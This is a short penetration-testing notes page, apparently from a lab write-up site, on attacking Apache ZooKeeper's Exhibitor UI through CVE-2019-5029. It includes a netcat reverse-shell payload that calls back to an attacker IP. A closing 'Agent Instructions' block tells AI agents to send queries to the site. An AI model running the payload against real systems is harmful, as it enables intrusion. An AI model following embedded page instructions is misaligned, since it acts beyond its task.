# 2181 - ZooKeeper

Apache ZooKeeper is a centralized service designed to manage configuration, naming, synchronization, and coordination in distributed systems. It helps multiple nodes in a cluster maintain consistent state and coordinate actions, ensuring reliability and fault tolerance in complex environments. By default, ZooKeeper listens on TCP port `2181`, which is used for client connections to the service and inter-node communication within the cluster.

## RCE

{% code overflow="wrap" %}

```bash
# Identify ZooKeeper
PORT      STATE SERVICE     VERSION
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
```

{% endcode %}

<figure><img src="/files/dsZXDsrAMLX18ykeLEQj" alt=""><figcaption><p>ZooKeeper Exhibitor's UI.</p></figcaption></figure>

ZooKeeper Exhibitor's UI (`1.0.9` to `1.7.1`) has a RCE vulnerability ([CVE-2019-5029](https://nvd.nist.gov/vuln/detail/CVE-2019-5029)) with an available [PoC](https://www.exploit-db.com/exploits/48654):

```bash
# Payload
$(/bin/nc -e /bin/sh 192.168.45.236 80 &)
```

<figure><img src="/files/oWiebJD18DCeMZC91aQW" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://x7331.gitbook.io/boxes/services/tcp/2181-zookeeper.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
